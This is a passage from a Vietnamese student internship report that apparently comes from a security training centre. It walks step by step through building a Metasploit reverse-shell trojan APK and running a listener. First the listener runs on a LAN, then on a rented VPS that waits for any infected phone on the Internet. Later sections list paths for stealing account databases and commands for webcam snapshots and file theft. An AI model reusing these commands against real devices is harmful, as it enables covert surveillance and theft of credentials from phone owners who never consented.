Còn rất nhiều vấn đề về metasploit nhưng trong đề tài này, ta chỉ quan tâm đến
vấn đề sử dụng metasploit để hack Android.
2. Chuẩn bị để hack Android trên mạng LAN
Máy ảo có hệ điều hành Kali Linux.
Máy ảo có chứa chương trình Metasploit.
3. Hack Android trên mạng LAN
3.1. Cài đặt Metaspolit trên máy ảo.
Download bộ cài đặt Metasploit tại địa chỉ sau: http://www.metasploit.com/. Và
chọn FREE METASPLOIT DOWNLOAD.
Hình 6.1. Download Metaspolit.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 41
Tại đây có hai phiên bản có thể lựa chọn: bản Pro có được dùng thử 14 ngày sau
đó phải trả phí để tiếp tục sử dụng và bản Community miễn phí với một số tính
năng bị hạn chế. Ở đây mình chọn bản Metaspolit Community.
Hình 6.2. Các phiên bản của Metasploit.
Bước cuối cùng là fill các thông tin cần thiết và Submit & Download.
Hình 6.3. Điền thông tin để download Metasploit.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 42
Sau khi tải xong ta được file metasploit-latest-windows-installer.exe. mở file
này lên để tiến hành cài đặt. Cửa sổ hiện lên chọn Next. Và chọn I accept the
agreement ở bước tiếp theo.
Hình 6.4. Bắt đầu cài Metasploit.
Hình 6.5. Xác nhận điều khoản.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 43
Chọn thư mục cài đặt cho Metasploit.
Hình 6.6. Chọn thư mục cài đặt Metasploit.
Nhớ là cần phải tắt Anti-Virus and Firewall. Nếu đã tắt thì bấm Next.
Hình 6.7. Disable Anti-Virus Firewall.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 44
Cuôi cùng, ta set SSL Port, Server Name và Days of validty. Và Finish. Quá
trình cài đặt Metasploit thành công.
Hình 6.8. Set các thông số Server.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 45
3.2. Tạo APK có chứa mã độc bằng KaLi Linux.
Trước khi tiến hành ta nên thiết lập phần Network như sau:
Vào VM => Settings... ở thanh lựa chọn của VMware. Tiếp theo, chọn Netword
Adapter Bridged. Và lưu lại.
Hình 6.9. Setting VMware.
Hình 6.10. Cấu hình mạng lại cho VMware.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 46
Như vậy đã hoàn thành sơ bộ về cài đặt mạng cho máy ảo. Ta tiến hành tạo file
APK chưa mã độc để đưa vào máy điện thoại Android.
Đầu tiên, ta vào máy ảo có cài sẵn Metasploit để lấy địa chỉ IP của máy ảo này. Ở
đây, máy mình cài là máy WinXP, nên vào CMD, gõ lệnh ipconfig.
Ta thấy địa chỉ IP ở đây là 192.168.0.120
Hình 6.11. Lấy địa chỉ IP của máy cài Metasploit.
Tiếp theo, tại Terminal của KaLi Linux, gõ lệnh:
Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.120 lport=4444
R> /root/Desktop/Hack.app
Hình 6.12. Lệnh tạo file APK có chứa mã độc.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 47
Với IP là địa chỉ IP của máy ảo cài Metasploit. Với lệnh trên, thì ta cần quan tâm
2 thông số lhost và lport. Sau khi lệnh này kết thúc, ta được file Hack.apk tại
màn hình Desktop.
Như vậy, ta đã tạo ra file cài đặt cho Android chứa mã độc. Nhiệm vụ tiếp theo,
là đưa mã độc này vào trong máy điện thoại có hệ điều hành Android. Nên nhớ,
chỉ có thể hack được điện thoại có chung mạng LAN.
Ta tiến hành gửi file HACK.APK này vào điện thoại. Có nhiều cách, thì ở đây
mình sẽ gửi Bluetooth.
Hình 6.13. Đưa file Hack.apk vào điện thoại Android.
Cộng việc tiếp theo của ta, là sẽ tạo một Handler xử lý dữ liệu truyền về, từ máy
Android bị nhiễm mã độc. Ta vào Máy ảo đã cài Metasploit.
Khởi động Metasploit console bằng cách vào Stast > All Programs > Metasploit
> MetasploitConsole. Và gõ lệnh sau
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.120 – nhập địa chỉ IP giống với địa chỉ IP của máy ảo chứa
Metasploit.
set port 4444 – nhập port giống với port mà ta đã set khi tạo file Hack.apk.
run
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 48
Hình 6.14. Tạo Handler xử lý thông tin.
Sau khi kết thúc câu lệnh. Ta có thể coi lại cách setup bằng cách gõ lệnh Show
options. Nếu không có gì sai xót, thì ta kết thúc bằng lệnh RUN.
Hình 6.15. Run Handler.
Như vậy ta đã tạo thành công Handler để xử lý thông tin tại địa chỉ:
192.168.0.120:4444. Công việc bây giờ là vào máy Android đã được cài đặt mã
độc từ file Hack.apk.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 49
Nếu xuất hiện như hình dưới đây, thì ta đã hoàn thành, cài đặt, và hack máy
Android trên mạng LAN. Kiểm tra thông tin máy đã bị hack bằng lệnh Sysinfo.
Hình 6.16. Hack thành công điện thoại Android trên mạng LAN.
Ta đã tạo được kết nối tới máy điện thoại Android có địa chỉ IP:
192.168.0.117:42701 vào lúc 2014-08-09 10:09:35 +7000. Thông tin của điện
thoại, với hệ điều hành: Linux 3.4.10 – gf33c859.
Thì ta thấy ở đây, địa chỉ IP của máy ảo và điện thoại Android chính là 2 địa chỉ
cùng thuộc một mạng LAN 192.168.0.
Phần tiếp theo, của công việc là “dạo chơi” trên điện thoại đã nhiễm mã độc bằng
Metasploit. Mình sẽ trình bày chi tiết hơn ở Chương tiếp theo: Hack điện thoại
thông qua VPS.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 50
XÂM NHẬP VÀO ANDROID THÔNG QUA CHƯƠNG 7.
INTERNET TỪ VPS
1. VPS là gì? Khái niệm VPS.
Máy chủ ảo (Virtual Private Server - VPS) là phương pháp phân chia một máy
chủ vật lý thành nhiều máy chủ ảo. Trong khi trên 1 server chạy Share Host thì có
thể có hàng trăm tài khoản cùng chạy 1 lúc, nhưng trên server chạy VPS thì con
số chỉ bằng 1/10. Do vây, VPS có hiệu năng cao hơn Share Host rất nhiều lần.
Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn
quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn
chế 100% khả năng bị tấn công hack local.
Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài
nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh
hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản VPS bị
tấn công thì mọi tài khoản VPS khác trên server đều không bị ảnh hưởng.
VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn
nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ nhu cầu. Tuy nhiên, VPS sẽ
đòi hỏi người sử dụng phải biết thêm một số kiến thức quản lý như cấu hình
server, bảo mật...
Đặc điểm về thông số VPS?
Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung
lượng Ram riêng, dung lượng ổ HDD riêng, địa chỉ Ip riêng và hệ điều hành
riêng.
Tiết kiệm được rất nhiều chi phí nếu so sánh với việc thuê một Server riêng.
Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng
dụng khác thì có thể cài đặt để thực hiện những nhu cầu riêng như truy cập Web
bằng trình duyệt Web trên VPS, download/upload bittorent với tốc độ cao...
Trong trường hợp VPS bị thiếu tài nguyên có thể dễ dàng nâng cấp thêm tài
nguyên mà không phải khởi động lại hệ thống.
Có thể cài lại hệ điều hành vời thời gian từ 5-10 phút.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 51
Giá trị thiết thực khi khách hàng thuê VPS
Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS
phù hợp.
Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khách hàng.
Hỗ trợ khách hàng cài đặt miễn phí thêm các phần mềm riêng.
Được cấu hình và cài đặt hệ thống Firewall và Ddos Protection.
Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh.
2. Cài đặt Metaspolit trên VPS.
2.1. Đăng ký VPS.
Trước hết ta cần có máy ảo VPS. Thì ta cần phải thuê Server VPS. Giá thuê từ
200.000-500.000vnđ 1 tháng. Ở đây, mình thuê tại: https://vonline.vn/.
Từ trang web, vào Tab VPS
Hình 7.1. Thuê Server VPS.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 52
Sau khi chọn cấu hình máy ảo, ta tiến hành đăng ký. Nhớ yêu cầu RAM tối thiếu
là 1GB RAM.
Ở đây mình chọn Windows Server 2003.
Hình 7.2. Cấu hình của máy ảo VPS.
Cuối cùng, thanh toán. Và bạn sẽ nhận được email với thông tin đăng nhập vào
máy ảo.Sau khi đã có thông tin đăng nhập. Ta vào Remote Desktop Connection
của windows để tiến hành Login.
Hình 7.3. Login VPS.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 53
Vậy là ta đã hoàn thành đăng ký VPS. Ta cần ghi nhớ lại địa chỉ IP của máy ảo
VPS. Đó là: 103.20.148.71. Ta sẽ cần dùng địa chỉ này để set các thông số khi tạo
file chứa mã độc để hack Android.
2.2. Cài đặt Metasploit trên VPS.
Tương tự như cài Metaspolit trên máy ảo ở mạng LAN. Tham khảo Chương 6.
Mục 3.1.
3. Tạo file .apk với IP của VPS.
Cũng tương tự như hack Android từ mạng LAN. Công việc đầu tiên của chúng ta
là tạo một file .apk chứa mã độc để đưa vào máy điện thoại Android.
Ta vào Kali Linux, gõ lệnh.
Msfpayload android/meterpreter/reverse_tcp lhost=103.20.148.71 lport=4444
R> /root/Desktop/vps.apk.
Hình 7.4. Tạo file chứa mã độc.
Với địa chỉ IP này, là địa chỉ của máy ảo VPS. 103.20.148.71.
Tiếp theo của công việc, ta sẽ đưa file vps.ak này lên mạng Internet.
Tương tự như làm trên mạng LAN, ta cũng cần phải tạo ra một Handler để xử lý
thông tin. Vào Metasploit trên máy ảo VPS, để tạo Handler với lệnh.
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 103.20.148.71 – nhập địa chỉ IP giống với địa chỉ IP của máy ảo VPS.
set port 4444 – nhập port giống với port mà ta đã set khi tạo file vps.apk.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 54
Hình 7.5. Tạo Handler trên VPS
Cuối cùng là gõ lệnh run để tạo Handler. Giờ chỉ việc chờ đợi cho một điện thoại
Android nào đó có kết nối Internet và mở chương trình đã nhiễm mã độc lên.
Hình 7.6. Handler đang chờ để nhận thông tin.
Khi một máy đã bị nhiễm, thì ta được kết quả như sau.
Hình 7.7. Có kết nối đến máy ảo VPS.
Như hình trên, thì ta thấy rằng. Điện thoại có địa chỉ IP là 115.77.177.25:34605
đã có kết nối tới máy ảo VPS tại 103.20.148.71:4444. Hai địa chỉ IP này hoàn
toàn thuộc 2 mạng khác nhau. Như vậy ta đã thành công khi lây nhiễm mã độc
qua mạng internet bằng VPS.
Mặc dù đã thành công xâm nhập vào Android nhưng một số trường hợp trong quá
trình khai thác dữ liệu sẽ báo lỗi do không đủ quyền hạn truy cập hệ thống. Đây
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 55
là cơ chế bảo mật của Android để bảo vệ những dữ liệu quan trọng. Trong trường
hợp này, việc khai thác dữ liệu sẽ gặp rất nhiều hạn chế hoặc thông thể thực hiện
với dữ liệu quan trọng.
Một trường hợp khác là sau khi xâm nhập thành công vào Android liền có quyền
hàn tối cao (system). Đây là do máy Android bị xâm nhập đã được người sử dụng
root (chiếm quyền điều khiển). Trường hợp này ta có thể tùy ý khai thác máy
Android.
Để kiểm tra máy Android đã root chưa ta vào điều khiển trong môi trường shell
và nhập lệnh:
su
whoami
Nếu báo unknown id is 0 tức là đã root
ls -l danh mục file và các quyền
cd để chuyển hướng thư mục
Để ăn cắp tài khoản, mật khẩu, file apk và thay đổi các quyền /DATA /DATA/APP /DATA/SYSTEM /DATA/SYSTEM/accounts.db /DATA/SYSTEM/SYNC/accounts.xml /SYSTEM/APP/
Để xem danh sách và download các file hay thay đổi các file trong ROM Đầu tiên phải gõ lệnh SU để có toàn quyền truy cập để có đường dẫn đầy đủ dùng lệnh chmod -R 777 path to filename Ví dụ chmod -R 777 /data Ctrl + C để quay lại Sử dụng SQLite để mở file db
4. Tấn công Android từ VPS
Sau khi đã kết nối được đến máy điện thoại Android, ta gõ lệnh: sysinfo để show
thông tin của máy bị hack.
Điện thoại đang bị hack với hệ điều hành: Linux 3.4.10-gf22c859 (armv71).
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 56
Hình 7.8. Lệnh Sysinfo để show thông tin điện thoại bị hack.
Ta gõ lệnh: help để show các lệnh hỗ trợ.
Có rất nhiều lệnh ví dụ như background, bgkill, bglist, exit,…
Hình 7.9. Các lệnh hỗ trợ của Metasploit.
Ví dụ ta muốn chụp ảnh từ camera của điện thoại bị nhiễm. Ta dùng lệnh:
Webcam_list
Webcam_snap –I <opt>
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 57
Lệnh Webcam_list để hiện danh sách các camera của máy điện thoại. Đây ta có 2
camera, Back Camera và Front Camera.
Để chụp ảnh camera sau, ta dùng lệnh: Webcam_snap –I 1.
Hình 7.10. Lệnh về webcam trên metasploit.
Ta cũng có thể upload file lên hay download file về từ điện thoại android. Bằng
các lệnh upload, download.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 58
KẾT QUẢ ĐẠT ĐƯỢC CHƯƠNG 8.
Những kiến thức lý thuyết đã được củng cố:
Tìm hiểu về lịch sử, quá trình phát triển của hệ điều hành Android
Tìm hiểu về hệ điều hành Kali Linux
Tìm hiểu về các lỗ hổng bảo mật của Windows và Android
Tìm hiểu về cách sửa đổi file APK và thực hiện Signing ứng dụng
Những kỹ năng thực hành đã được học thêm:
Thực hiện cài đặt Android trên máy ảo
Cài đặt Kali Linux, sử dụng nó để hack vào các lỗ hổng bảo mật của
Windows và Android
Thi lấy chứng chỉ System Hacking của trung tâm Athena
Thực hiện sửa đổi, tạo ra các file Trojan, Backdoor sau đó cài đặt vào
Android
Biết thêm về một số bài học trong lớp Hacker mũ trắng
Những kinh nghiệm thực tiễn đã tích lũy được:
Qua gần 2 tháng thực tập, bản thân em đã đúc kết được nhiều kinh nghiệm quý
báu, thứ nhất đó là các kĩ năng về chuyên môn, em đã được học và cũng cố các
kiến thức mới bên cạnh các kiến thức nền tảng. Hơn đó nữa là quá trình thực tập
trong môi trường doanh nghiệp đã cho em làm quen dần để không bỡ ngỡ trong
quá trình đi làm sau này, thông qua các kĩ năng giao tiếp và ứng xử.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 59
TÀI LIỆU THAM KHẢO CHƯƠNG 9.
[1] Đĩa lab Athena Android.
[2] http://www.vietnamandroid.com/
[3] http://vi.wikipedia.org/wiki/Android
[3] http://forum.genk.vn/threads/147/
[4] http://phienbanmoi.com/threads/lich-su-ra-doi-he-dieu-hanh-android-tai-lieu-
huong-dan-lap-trinh.107/
[5] http://sohoa.vnexpress.net/tin-tuc/doi-song-so/thi-truong/ios-bam-duoi-quyet-
liet-android-ve-thi-phan-di-dong-2960981.html
[6] http://forum.bkav.com.vn/showthread.php/99182-hieu-chinh-xac-ve-cac-loai-
ma-doc
[7] http://www.nguoiduatin.vn/mat-39-ty-dongngay-vi-ma-doc-a137388.html
[8] https://appvz.com/knowledgebase/1/My-ch-o---VPS-l-g.html